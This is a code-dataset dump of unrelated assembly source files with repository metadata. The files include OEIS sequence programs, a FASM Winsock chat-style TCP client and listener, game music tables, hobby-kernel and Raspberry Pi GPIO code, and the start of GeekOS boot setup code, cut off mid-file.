dbb58929922149b29c0f0cf630d46261ed7cb01f
[ "MIT" ]
null
null
null
inout.asm
hackingotter/LC3-Simulator
dbb58929922149b29c0f0cf630d46261ed7cb01f
[ "MIT" ]
null
null
null
inout.asm
hackingotter/LC3-Simulator
dbb58929922149b29c0f0cf630d46261ed7cb01f
[ "MIT" ]
1
2018-09-22T23:01:40.000Z
2018-09-22T23:01:40.000Z
.orig x3000 GETC
4.5
11
0.722222
698501b7cf99fa5d8a25dc31faf8b553231eb5df
1,249
asm
Assembly
programs/oeis/218/A218130.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/218/A218130.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/218/A218130.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A218130: Number of length 6 primitive (=aperiodic or period 6) n-ary words. ; 0,0,54,696,4020,15480,46410,117264,261576,530640,998910,1770120,2984124,4824456,7526610,11387040,16772880,24132384,34006086,47038680,63991620,85756440,113368794,148023216,191088600,244124400,308897550,387400104,481867596,594798120,728972130,887472960,1073708064,1291430976,1544763990,1838221560,2176734420,2565674424,3010880106,3518682960,4095934440,4750033680,5488955934,6321281736,7256226780,8303672520,9474197490,10779109344,12230477616,13841167200,15624872550,17596152600,19770466404,22164209496,24794750970,27680471280,30840800760,34296258864,38068494126,42180324840,46655780460,51520143720,56799993474,62523248256,68719210560,75418611840,82653658230,90458076984,98867163636,107917829880,117648652170,128099921040,139313691144,151333832016,164206079550,177978088200,192699483900,208421917704,225199120146,243086956320,262143481680,282428998560,304006113414,326939794776,351297431940,377148894360,404566591770,433625535024,464403397656,496980578160,531440262990,567868490280,606354214284,646989370536,689868941730,735091024320,782756895840,832971082944,885841430166,941479169400 mov $1,$0 pow $1,2 mul $1,$0 bin $0,2 bin $1,2 sub $1,$0 mov $0,$1 div $0,3 mul $0,6
96.076923
1,084
0.869496
d56a4f42af650f74755bbbdbf855728803863eca
715
asm
Assembly
oeis/053/A053141.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/053/A053141.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/053/A053141.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A053141: a(0)=0, a(1)=2 then a(n) = a(n-2) + 2*sqrt(8*a(n-1)^2 + 8*a(n-1) + 1). ; Submitted by Jamie Morken(s1.) ; 0,2,14,84,492,2870,16730,97512,568344,3312554,19306982,112529340,655869060,3822685022,22280241074,129858761424,756872327472,4411375203410,25711378892990,149856898154532,873430010034204,5090723162050694,29670908962269962,172934730611569080,1007937474707144520,5874690117631298042,34240203231080643734,199566529268852564364,1163158972382034742452,6779387305023355890350,39513164857758100599650,230299601841525247707552,1342284446191393385645664,7823407075306835066166434,45598158005649617011352942 lpb $0 sub $0,1 add $2,$1 add $1,$2 add $1,$2 add $1,1 add $2,$1 lpe mov $0,$1 add $0,$2
47.666667
497
0.795804
e27bacdfa81198fd19abf5f4dc53043ab0f12579
412
asm
Assembly
programs/oeis/229/A229279.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/229/A229279.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/229/A229279.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A229279: Number of ascending runs in {1,...,5}^n. ; 0,5,40,275,1750,10625,62500,359375,2031250,11328125,62500000,341796875,1855468750,10009765625,53710937500,286865234375,1525878906250,8087158203125,42724609375000,225067138671875,1182556152343750,6198883056640625,32424926757812500 mov $1,$0 mov $2,$0 lpb $0,1 add $1,1 add $1,$2 add $1,$2 mov $2,$1 add $1,$0 sub $0,1 sub $1,$0 add $2,$1 lpe
25.75
231
0.723301
f1bc8aa977a5d359006e0220a6a694e4daaae896
10,853
asm
Assembly
example/src/main/asm/quetannon/quetannon.asm
sarxos/fasm-compiler-plugin
780e673ea7dce43a8349bbf5b1fe82f800a8da91
[ "MIT" ]
null
null
null
example/src/main/asm/quetannon/quetannon.asm
sarxos/fasm-compiler-plugin
780e673ea7dce43a8349bbf5b1fe82f800a8da91
[ "MIT" ]
null
null
null
example/src/main/asm/quetannon/quetannon.asm
sarxos/fasm-compiler-plugin
780e673ea7dce43a8349bbf5b1fe82f800a8da91
[ "MIT" ]
null
null
null
format PE GUI 4.0 entry start include 'win32a.inc' include 'riched32.inc' section '.text' code readable executable WM_SOCK = WM_USER + 100 SOCK_IDLE = 0 SOCK_LISTEN = 1 SOCK_SERVER = 2 SOCK_CLIENT = 3 start: mov [initcomctl.dwSize],sizeof.INITCOMMONCONTROLSEX mov [initcomctl.dwICC],ICC_INTERNET_CLASSES invoke InitCommonControlsEx,initcomctl invoke LoadLibrary,_riched or eax,eax jz exit invoke WSAStartup,0101h,wsadata or eax,eax jnz exit invoke GetModuleHandle,0 invoke DialogBoxParam,eax,IDR_DIALOG,HWND_DESKTOP,DialogProc,0 invoke WSACleanup exit: invoke ExitProcess,0 proc DialogProc hwnddlg,msg,wparam,lparam push ebx esi edi cmp [msg],WM_INITDIALOG je wminitdialog cmp [msg],WM_COMMAND je wmcommand cmp [msg],WM_SOCK je wmsock xor eax,eax jmp finish wminitdialog: mov [status],SOCK_IDLE jmp processed wmcommand: mov eax,[wparam] cmp eax,IDCANCEL je wmclose cmp eax,IDOK je .ok cmp eax,ID_LISTEN je .listen cmp eax,ID_GETHOSTBYNAME je .gethostbyname cmp eax,ID_CONNECT je .connect cmp eax,ID_SEND je .send shr eax,16 cmp eax,EN_SETFOCUS je .setfocus cmp eax,EN_KILLFOCUS je .killfocus cmp eax,CBN_SETFOCUS je .setfocus cmp eax,CBN_KILLFOCUS je .killfocus jmp processed .ok: cmp [focus],ID_HOSTNAME je .gethostbyname cmp [focus],ID_PORT je .connect cmp [focus],ID_SERVPORT je .listen cmp [focus],ID_COMMAND je .send jmp processed .setfocus: movzx eax,word [wparam] mov [focus],eax jmp processed .killfocus: movzx eax,word [wparam] cmp [focus],eax jne processed mov [focus],0 jmp processed .listen: cmp [status],SOCK_CLIENT je processed cmp [status],SOCK_IDLE jne .stop invoke socket,AF_INET,SOCK_STREAM,0 cmp eax,-1 je processed mov [sock],eax mov [saddr.sin_addr],0 mov [saddr.sin_family],AF_INET invoke GetDlgItemInt,[hwnddlg],ID_SERVPORT,temp,FALSE cmp [temp],0 je processed cmp eax,0FFFFh ja processed xchg ah,al mov [saddr.sin_port],ax invoke bind,[sock],saddr,sizeof.sockaddr or eax,eax jnz .bind_failed invoke listen,[sock],1 invoke WSAAsyncSelect,[sock],[hwnddlg],WM_SOCK,FD_ACCEPT mov [status],SOCK_LISTEN invoke GetDlgItem,[hwnddlg],ID_CONNECT invoke EnableWindow,eax,FALSE invoke SetDlgItemText,[hwnddlg],ID_LISTEN,_stop invoke GetDlgItem,[hwnddlg],ID_LISTEN invoke SendMessage,[hwnddlg],WM_NEXTDLGCTL,eax,TRUE jmp processed .bind_failed: invoke closesocket,[sock] jmp processed .stop: invoke closesocket,[sock] cmp [status],SOCK_SERVER je wmsock.disconnected mov [status],SOCK_IDLE invoke GetDlgItem,[hwnddlg],ID_CONNECT invoke EnableWindow,eax,TRUE invoke SetDlgItemText,[hwnddlg],ID_LISTEN,_listen jmp processed .gethostbyname: invoke GetDlgItemText,[hwnddlg],ID_HOSTNAME,buffer,8000h invoke gethostbyname,buffer or eax,eax jz .bad_name virtual at eax .host hostent end virtual mov eax,[.host.h_addr_list] mov eax,[eax] mov eax,[eax] bswap eax invoke SendDlgItemMessage,[hwnddlg],ID_IPADDR,IPM_SETADDRESS,0,eax invoke SendDlgItemMessage,[hwnddlg],ID_HOSTNAME,CB_ADDSTRING,0,buffer invoke GetDlgItem,[hwnddlg],ID_PORT invoke SendMessage,[hwnddlg],WM_NEXTDLGCTL,eax,TRUE jmp processed .bad_name: invoke SendDlgItemMessage,[hwnddlg],ID_IPADDR,IPM_CLEARADDRESS,0,0 invoke GetDlgItem,[hwnddlg],ID_HOSTNAME invoke SendMessage,[hwnddlg],WM_NEXTDLGCTL,eax,TRUE jmp processed .connect: cmp [status],SOCK_CLIENT je .disconnect cmp [status],SOCK_IDLE jne processed invoke SendDlgItemMessage,[hwnddlg],ID_IPADDR,IPM_GETADDRESS,0,temp mov eax,[temp] bswap eax mov [saddr.sin_addr],eax mov [saddr.sin_family],PF_INET invoke GetDlgItemInt,[hwnddlg],ID_PORT,temp,FALSE cmp [temp],0 je processed cmp eax,0FFFFh ja processed xchg ah,al mov [saddr.sin_port],ax invoke closesocket,[sock] invoke socket,AF_INET,SOCK_STREAM,0 cmp eax,-1 je processed mov [sock],eax invoke connect,[sock],saddr,sizeof.sockaddr_in or eax,eax jnz .refused mov esi,_connected mov eax,0x9F00 call write_status mov [status],SOCK_CLIENT invoke WSAAsyncSelect,[sock],[hwnddlg],WM_SOCK,FD_READ or FD_CLOSE invoke SetDlgItemText,[hwnddlg],ID_CONNECT,_disconnect invoke GetDlgItem,[hwnddlg],ID_SEND invoke EnableWindow,eax,TRUE invoke GetDlgItem,[hwnddlg],ID_LISTEN invoke EnableWindow,eax,FALSE invoke GetDlgItem,[hwnddlg],ID_COMMAND invoke SendMessage,[hwnddlg],WM_NEXTDLGCTL,eax,TRUE jmp processed .refused: mov esi,_refused mov eax,0xFF call write_status jmp processed .send: cmp [status],SOCK_LISTEN jbe processed invoke GetDlgItemText,[hwnddlg],ID_COMMAND,buffer,8000h push eax invoke SendDlgItemMessage,[hwnddlg],ID_COMMAND,CB_ADDSTRING,0,buffer pop eax mov [buffer+eax],13 inc eax mov [buffer+eax],10 inc eax mov [buffer+eax],0 invoke send,[sock],buffer,eax,0 mov esi,buffer xor eax,eax call write_status mov [buffer],0 invoke SetDlgItemText,[hwnddlg],ID_COMMAND,buffer jmp processed .disconnect: invoke closesocket,[sock] jmp wmsock.disconnected write_status: mov [charformat.cbSize],sizeof.CHARFORMAT mov [charformat.dwMask],CFM_COLOR mov [charformat.dwEffects],0 mov [charformat.crTextColor],eax invoke GetDlgItem,[hwnddlg],ID_STATUS mov ebx,eax invoke SendMessage,ebx,EM_SETSEL,-1,-1 invoke SendMessage,ebx,EM_SCROLLCARET,0,0 invoke SendMessage,ebx,EM_SETCHARFORMAT,SCF_SELECTION,charformat invoke SendMessage,ebx,EM_REPLACESEL,FALSE,esi retn wmsock: cmp [status],SOCK_LISTEN je .accept invoke recv,[sock],buffer,8000h,0 or eax,eax jz .disconnected cmp eax,-1 je .no_response mov [buffer+eax],0 mov esi,buffer mov eax,0xFF0000 call write_status .no_response: jmp processed .disconnected: mov [status],SOCK_IDLE mov esi,_disconnected mov eax,0xFF call write_status invoke SetDlgItemText,[hwnddlg],ID_LISTEN,_listen invoke SetDlgItemText,[hwnddlg],ID_CONNECT,_connect invoke GetDlgItem,[hwnddlg],ID_SEND invoke EnableWindow,eax,FALSE invoke GetDlgItem,[hwnddlg],ID_LISTEN invoke EnableWindow,eax,TRUE invoke GetDlgItem,[hwnddlg],ID_CONNECT invoke EnableWindow,eax,TRUE invoke GetDlgItem,[hwnddlg],ID_HOSTNAME invoke SendMessage,[hwnddlg],WM_NEXTDLGCTL,eax,TRUE jmp processed .accept: invoke accept,[sock],0,0 cmp eax,-1 je processed xchg eax,[sock] invoke closesocket,eax mov esi,_accepted mov eax,0x9F00 call write_status mov [status],SOCK_SERVER invoke WSAAsyncSelect,[sock],[hwnddlg],WM_SOCK,FD_READ or FD_CLOSE invoke GetDlgItem,[hwnddlg],ID_SEND invoke EnableWindow,eax,TRUE invoke GetDlgItem,[hwnddlg],ID_CONNECT invoke EnableWindow,eax,FALSE invoke GetDlgItem,[hwnddlg],ID_COMMAND invoke SendMessage,[hwnddlg],WM_NEXTDLGCTL,eax,TRUE jmp processed wmclose: invoke closesocket,[sock] invoke EndDialog,[hwnddlg],0 processed: mov eax,1 finish: pop edi esi ebx ret endp section '.data' data readable writeable _riched db 'RICHED32.DLL',0 _connect db '&Connect',0 _disconnect db 'Dis&connect',0 _listen db '&Listen',0 _stop db '&Stop',0 _refused db 'Connection refused.',13,10,0 _connected db 'Connected.',13,10,0 _disconnected db 'Disconnected.',13,10,0 _accepted db 'Accepted incoming connection.',13,10,0 sock dd ? temp dd ? focus dd ? initcomctl INITCOMMONCONTROLSEX charformat CHARFORMAT wsadata WSADATA saddr sockaddr_in buffer rb 8000h status db ? section '.idata' import data readable writeable library kernel,'KERNEL32.DLL',\ user,'USER32.DLL',\ comctl,'COMCTL32.DLL',\ winsock,'WSOCK32.DLL' import kernel,\ GetModuleHandle,'GetModuleHandleA',\ LoadLibrary,'LoadLibraryA',\ ExitProcess,'ExitProcess' import user,\ DialogBoxParam,'DialogBoxParamA',\ SendMessage,'SendMessageA',\ GetDlgItem,'GetDlgItem',\ GetDlgItemInt,'GetDlgItemInt',\ GetDlgItemText,'GetDlgItemTextA',\ SetDlgItemText,'SetDlgItemTextA',\ SendDlgItemMessage,'SendDlgItemMessageA',\ GetFocus,'GetFocus',\ EnableWindow,'EnableWindow',\ wsprintf,'wsprintfA',\ EndDialog,'EndDialog' import comctl,\ InitCommonControlsEx,'InitCommonControlsEx' import winsock,\ WSAStartup,'WSAStartup',\ WSACleanup,'WSACleanup',\ WSAAsyncSelect,'WSAAsyncSelect',\ gethostbyname,'gethostbyname',\ socket,'socket',\ bind,'bind',\ listen,'listen',\ accept,'accept',\ connect,'connect',\ recv,'recv',\ send,'send',\ closesocket,'closesocket' section '.rsrc' resource data readable IDR_DIALOG = 37 IDR_LOGO = 7 ID_SERVPORT = 0x101 ID_LISTEN = 0x102 ID_HOSTNAME = 0x103 ID_GETHOSTBYNAME = 0x104 ID_IPADDR = 0x105 ID_PORT = 0x106 ID_CONNECT = 0x107 ID_STATUS = 0x108 ID_COMMAND = 0x109 ID_SEND = 0x10A directory RT_DIALOG,dialogs,\ RT_BITMAP,bitmaps resource dialogs,\ IDR_DIALOG,LANG_ENGLISH+SUBLANG_DEFAULT,main resource bitmaps,\ IDR_LOGO,LANG_ENGLISH+SUBLANG_DEFAULT,logo dialog main,'Quetannon',70,70,332,176,WS_CAPTION+WS_POPUP+WS_SYSMENU+WS_MINIMIZEBOX+DS_MODALFRAME dialogitem 'STATIC',IDR_LOGO,-1,4,4,248,20,WS_VISIBLE+SS_BITMAP dialogitem 'BUTTON','',IDOK,0,0,0,0,BS_DEFPUSHBUTTON dialogitem 'STATIC','&Host name:',-1,4,26,148,8,WS_VISIBLE dialogitem 'EDIT','',ID_HOSTNAME,4,36,148,12,WS_VISIBLE+WS_BORDER+ES_AUTOHSCROLL+WS_TABSTOP dialogitem 'BUTTON','>',ID_GETHOSTBYNAME,156,36,20,12,WS_VISIBLE+BS_PUSHBUTTON+WS_TABSTOP dialogitem 'STATIC','&IP address:',-1,180,26,72,8,WS_VISIBLE dialogitem 'SysIPAddress32','',ID_IPADDR,180,36,72,12,WS_VISIBLE+BS_PUSHBUTTON+WS_TABSTOP dialogitem 'STATIC','&Port:',-1,256,26,20,8,WS_VISIBLE dialogitem 'EDIT','',ID_PORT,256,36,24,12,WS_VISIBLE+WS_BORDER+ES_NUMBER+WS_TABSTOP dialogitem 'BUTTON','&Connect',ID_CONNECT,284,36,44,12,WS_VISIBLE+BS_PUSHBUTTON+WS_TABSTOP dialogitem 'STATIC','&Port:',-1,256,2,20,8,WS_VISIBLE dialogitem 'EDIT','',ID_SERVPORT,256,12,24,12,WS_VISIBLE+WS_BORDER+ES_NUMBER+WS_TABSTOP dialogitem 'BUTTON','&Listen',ID_LISTEN,284,12,44,12,WS_VISIBLE+BS_PUSHBUTTON+WS_TABSTOP dialogitem 'RichEdit','',ID_STATUS,4,52,324,104,WS_VISIBLE+WS_BORDER+WS_VSCROLL+ES_AUTOHSCROLL+ES_AUTOVSCROLL+ES_MULTILINE+ES_READONLY+WS_TABSTOP dialogitem 'EDIT','',ID_COMMAND,4,160,228,12,WS_VISIBLE+WS_BORDER+ES_AUTOHSCROLL+WS_TABSTOP dialogitem 'BUTTON','&Send',ID_SEND,236,160,44,12,WS_VISIBLE+WS_DISABLED+BS_PUSHBUTTON+WS_TABSTOP dialogitem 'BUTTON','E&xit',IDCANCEL,284,160,44,12,WS_VISIBLE+BS_PUSHBUTTON+WS_TABSTOP enddialog bitmap logo,'logo.bmp'
26.797531
150
0.733622
f94604ab3db9d5b15484bd11ffc787e3e3645cec
560
asm
Assembly
oeis/026/A026026.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/026/A026026.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/026/A026026.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A026026: a(n) = number of (s(0), s(1), ..., s(2n-1)) such that s(i) is a nonnegative integer and |s(i) - s(i-1)| = 1 for i = 1,2,...,n, s(0) = 3, s(2n-1) = 4. Also a(n) = T(2n-1,n-1), where T is defined in A026022. ; Submitted by Christian Krause ; 1,3,10,35,125,451,1638,5980,21930,80750,298452,1106921,4118725,15371475,57528750,215867880,811985790,3061229850,11565545100,43782423750,166051490514,630877833102,2400830868860,9150602070760,34927775872500,133502608167292 mov $2,2 mul $2,$0 add $2,1 mov $1,$2 bin $1,$0 sub $0,4 bin $2,$0 sub $1,$2 mov $0,$1
40
222
0.682143
21e6d4b7aa8fc47415dcb90876b7385747ef81ce
544
asm
Assembly
oeis/188/A188732.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/188/A188732.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/188/A188732.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A188732: Decimal expansion of (5+sqrt(61))/6. ; Submitted by Jon Maiga ; 2,1,3,5,0,4,1,6,1,2,6,5,1,1,0,9,0,6,5,6,8,8,2,8,7,1,2,2,6,2,6,5,1,6,9,0,2,2,6,1,3,8,4,1,8,9,4,4,1,4,2,7,2,1,6,6,9,6,2,0,7,2,9,3,3,6,5,1,3,0,9,3,1,4,8,9,4,5,4,5,0,9,0,7,0,9,0,5,5,0,8,7,1,1,1,6,7,4,8,2 mov $1,1 mov $3,$0 mul $3,4 lpb $3 add $1,$2 mul $1,$3 mul $2,$3 add $1,$2 mov $5,$0 max $5,1 div $1,$5 mul $5,2 div $2,$5 add $2,$1 div $1,6 sub $3,1 lpe mov $4,10 pow $4,$0 add $1,$4 div $2,$4 cmp $6,0 add $2,$6 div $1,$2 mod $1,10 mov $0,$1
17.548387
201
0.516544
ab8f465ce6997f330c77c416f9b1679c45e7b7fc
106
asm
Assembly
libsrc/_DEVELOPMENT/fcntl/c/sccz80/_exit.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
libsrc/_DEVELOPMENT/fcntl/c/sccz80/_exit.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
libsrc/_DEVELOPMENT/fcntl/c/sccz80/_exit.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
; _Noreturn void _exit(int status) SECTION code_fcntl PUBLIC _exit EXTERN __Exit defc _exit = __Exit
9.636364
34
0.773585
b95ae8bbadbcfcd0950f86b1b94f4dd206cdf517
1,711
asm
Assembly
raftoid/raftmus.asm
plattysoft/MSX
7fe2d073d9deb567b62ea8147551426e01e14805
[ "Apache-2.0" ]
15
2020-09-15T10:28:29.000Z
2021-11-11T22:13:30.000Z
raftoid/raftmus.asm
plattysoft/MSX
7fe2d073d9deb567b62ea8147551426e01e14805
[ "Apache-2.0" ]
null
null
null
raftoid/raftmus.asm
plattysoft/MSX
7fe2d073d9deb567b62ea8147551426e01e14805
[ "Apache-2.0" ]
1
2021-06-17T13:11:10.000Z
2021-06-17T13:11:10.000Z
; Tabla de instrumentos TABLA_PAUTAS: DW PAUTA_0,PAUTA_1,PAUTA_2,PAUTA_3,PAUTA_4,PAUTA_5,PAUTA_6,PAUTA_7 ; Tabla de efectos TABLA_SONIDOS: DW SONIDO0,SONIDO1,SONIDO2,SONIDO3,SONIDO4,SONIDO5,SONIDO6,SONIDO7,SONIDO8 ;Pautas (instrumentos) ;Instrumento 'Wave' PAUTA_0: DB 9,0,76,0,11,0,9,0,8,4,8,4,8,0,8,0,8,-4,8,-4,8,0,8,0,136 ;Instrumento 'Orn 0-3-7' PAUTA_1: DB 8,0,8,0,24,3,24,3,24,7,24,7,134 ;Instrumento 'Orn 0-4-7' PAUTA_2: DB 8,0,8,0,24,4,24,4,24,7,24,7,134 ;Instrumento 'Orn 0-4-8' PAUTA_3: DB 8,0,8,0,24,4,24,4,24,8,24,8,134 ;Instrumento 'Bass' PAUTA_4: DB 45,0,44,0,10,0,8,0,7,0,129 ;Instrumento 'Clip' PAUTA_5: DB 72,0,72,0,40,0,8,2,8,2,7,0,7,0,8,-2,8,-2,7,0,7,0,136 ;Instrumento 'AlarmUp' PAUTA_6: DB 8,0,8,0,8,0,8,0,8,-1,129 ;Instrumento 'AlarmDown' PAUTA_7: DB 8,0,8,0,8,0,8,0,8,1,129 ;Efectos ;Efecto 'bass drum' SONIDO0: DB 209,63,0,69,173,0,255 ;Efecto 'drum' SONIDO1: DB 23,62,0,93,92,6,0,9,3,255 ;Efecto 'hithat' SONIDO2: DB 0,11,1,0,6,1,255 ;Efecto 'bass drum vol 2' SONIDO3: DB 186,58,0,0,102,0,162,131,0,255 ;Efecto 'Ball_indestructible' SONIDO4: DB 64,9,1,255 ;Efecto 'Ball_regular' SONIDO5: DB 254,9,0,170,8,0,127,7,0,255 ;Efecto 'Ball_inverted' SONIDO6: DB 127,9,0,170,8,0,254,7,0,255 ;Efecto 'Life_lost' SONIDO7: DB 127,8,0,170,8,0,214,8,0,254,9,0,104,24,0,172,23,0,253,21,0,255 ;Efecto 'Life_earned' SONIDO8: DB 253,24,0,172,24,0,104,24,0,254,9,0,214,8,0,170,7,0,127,5,0,255 ;Frecuencias para las notas DATOS_NOTAS: DW 0,0 DW 1711,1614,1524,1438,1358,1281,1210,1142,1078,1017 DW 960,906,855,807,762,719,679,641,605,571 DW 539,509,480,453,428,404,381,360,339,320 DW 302,285,269,254,240,227,214,202,190,180 DW 170,160,151,143,135,127,120,113,107,101 DW 95,90,85,80,76,71,67,64,60,57
31.685185
89
0.709527
3a0297a0e303b1e19caae09b5f0278584b8bffbb
751
asm
Assembly
base.asm
Silvantica/Etch-A-Sketch
b8302b41a154b1ae66092950632c0280761a3ed5
[ "MIT" ]
null
null
null
base.asm
Silvantica/Etch-A-Sketch
b8302b41a154b1ae66092950632c0280761a3ed5
[ "MIT" ]
null
null
null
base.asm
Silvantica/Etch-A-Sketch
b8302b41a154b1ae66092950632c0280761a3ed5
[ "MIT" ]
null
null
null
BASE = $3F000000 ;$ means HEX GPIO_OFFSET=$200000 TIMER_OFFSET=$3000 ; Used to read system clock GPFSEL1_OFFSET=$4 ; GPIO function select 1 offset (GPIO 10-19). 3 bits per GPIO GPFSEL2_OFFSET=$8 ; GPIO function select 2 offset (GPIO 20-29). 3 bits per GPIO GPSET0_OFFSET=$1C ; Covers GPIO 0-31. Used to set output GPCLR0_OFFSET=$28 ; Covers GPIO 0-31. Used to clear output GPLEV0_OFFSET=$34 ; Covers GPIO 0-31. Use to read input GPEDS0_OFFSET=$40 ; Covers GPIO 0-31. Used to check for detected events GPREN0_OFFSET=$4C ; Covers GPIO 0-31. Rising edge detect enable GPHEN0_OFFSET=$64 ; Covers GPIO 0-31. High detect enable ; Both of these are used together to enable pull-up/pull-down. Needed for buttons GPPUD_OFFSET=$94 GPPUDCLK0_OFFSET=$98
46.9375
81
0.758988
fee9a8ed89901cb8c70cbcc3e263a5b06de62cbc
760
asm
Assembly
kernel.asm
TOR-/lizard
8e3b976802e6ea9c3f6f1f6f3eb8b3a9d36e1f7b
[ "Apache-2.0" ]
null
null
null
kernel.asm
TOR-/lizard
8e3b976802e6ea9c3f6f1f6f3eb8b3a9d36e1f7b
[ "Apache-2.0" ]
null
null
null
kernel.asm
TOR-/lizard
8e3b976802e6ea9c3f6f1f6f3eb8b3a9d36e1f7b
[ "Apache-2.0" ]
null
null
null
[BITS 32] %define vgac(c,blink,bg,int,fg) ((c)|(blink<<15)|(bg<<12)|(int<<11)|(fg<<8)) %define NOIR 0 %define BLEU 1 %define VERT 2 %define CYAN 3 %define ROUGE 4 %define MAGEN 5 %define JAUNE 6 %define BLANC 7 mov word [0xB8A00], vgac('N', 0, BLEU, 0, JAUNE) mov word [0xB8A02], vgac('o', 1, VERT, 0, BLANC) mov word [0xB8A04], vgac('y', 0, CYAN, 1, NOIR) mov word [0xB8A06], vgac('a', 1, ROUGE, 1, BLEU) mov word [0xB8A08], vgac('u', 1, MAGEN, 1, VERT) EXTERN scroll_up, prints GLOBAL _start _start: mov eax, msg push eax call prints pop eax mov eax, msg2 push eax call prints pop eax mov eax, 2 push eax call scroll_up end: jmp end msg: db 'un premier message', 10, 0 msg2: db 'un deuxième message', 10, 0
18.095238
76
0.631579
f75ea7664e1fc4cdf1aa68542087bdb69dab7bf8
9,773
asm
Assembly
src/geekos/setup.asm
potados99/geekos
086be616a3cd02f23c23dd980d5a86cd5d33afc7
[ "BSD-4-Clause-UC" ]
4
2021-03-08T05:25:56.000Z
2021-06-03T05:07:55.000Z
src/geekos/setup.asm
EEDK/actableGeekOs
86ae9741a6bb0261406e6b37a0cfa1e8c1596481
[ "BSD-4-Clause-UC" ]
null
null
null
src/geekos/setup.asm
EEDK/actableGeekOs
86ae9741a6bb0261406e6b37a0cfa1e8c1596481
[ "BSD-4-Clause-UC" ]
9
2018-03-07T02:16:05.000Z
2021-06-01T14:15:11.000Z
; GeekOS setup code ; Copyright (c) 2001,2004 David H. Hovemeyer <daveho@cs.umd.edu> ; $Revision: 1.10 $ ; This is free software. You are permitted to use, ; redistribute, and modify it as specified in the file "COPYING". ; A lot of this code is adapted from Kernel Toolkit 0.2 ; and Linux version 2.2.x, so the following copyrights apply: ; Copyright (C) 1991, 1992 Linus Torvalds ; modified by Drew Eckhardt ; modified by Bruce Evans (bde) ; adapted for Kernel Toolkit by Luigi Sgro %include "defs.asm" [BITS 16] [ORG 0x0] BeginSetup: start_setup: ; Redefine the data segment so we can access variables ; declared in this file. mov ax, SETUPSEG mov ds, ax ; Use int 15h to find out size of extended memory in KB. ; Extended memory is the memory above 1MB. So by ; adding 1MB to this amount, we get the total amount ; of system memory. We can only detect 64MB this way, ; but that's OK for now. mov ah, 0x88 int 0x15 add ax, 1024 ; 1024 KB == 1 MB ;; mov [mem_size_kbytes], ax jc short err test ax, ax ; size = 0 is an error je short err cmp ah, 0x86 ; unsupported function je short err cmp ah, 0x80 ; invalid command je short err mov word [mem_size_kbytes], ax jmp ok err: ;; failed to get memory that way, try the general purpose routine ;; mov word [mem_size_kbytes], (1024*64)-1 mov ax, MEMMAPSEG mov es, ax xor di, di call do_e820 xor ax, ax mov word [mem_size_kbytes], ax ok: ; Kill the floppy motor. call Kill_Motor ; Block interrupts, since we can't meaningfully handle them yet ; and we no longer need BIOS services. cli ; Set up IDT and GDT registers lidt [IDT_Pointer] lgdt [GDT_Pointer] ; Initialize the interrupt controllers, and enable the ; A20 address line call Init_PIC call Enable_A20 ; Switch to protected mode! mov ax, 0x01 lmsw ax ; Jump to 32 bit code. jmp dword KERNEL_CS:(SETUPSEG << 4) + setup_32 [BITS 32] setup_32: ; set up data segment registers mov ax, KERNEL_DS mov ds, ax mov es, ax mov fs, ax mov gs, ax mov ss, ax ; Create the stack for the initial kernel thread. mov esp, KERN_STACK + 4096 ; Build Boot_Info struct on stack. ; Note that we push the fields on in reverse order, ; since the stack grows downwards. mov eax, (MEMMAPSEG<<4) ;; address of memap segments push eax xor eax, eax mov ax, [(SETUPSEG<<4)+mmap_ent] ;; number of segments push eax xor eax, eax mov eax, [(SETUPSEG<<4)+bootDrive] push eax xor eax, eax mov ax, [(SETUPSEG<<4)+mem_size_kbytes] push eax ; memSizeKB mov eax, (INITSEG<<4) push eax ; startKernInfo push dword 24 ; bootInfoSize ; Pass pointer to Boot_Info struct as argument to kernel ; entry point. push esp ; Push return address to make this look like a call ; XXX - untested push dword (SETUPSEG<<4)+.returnAddr ; Far jump into 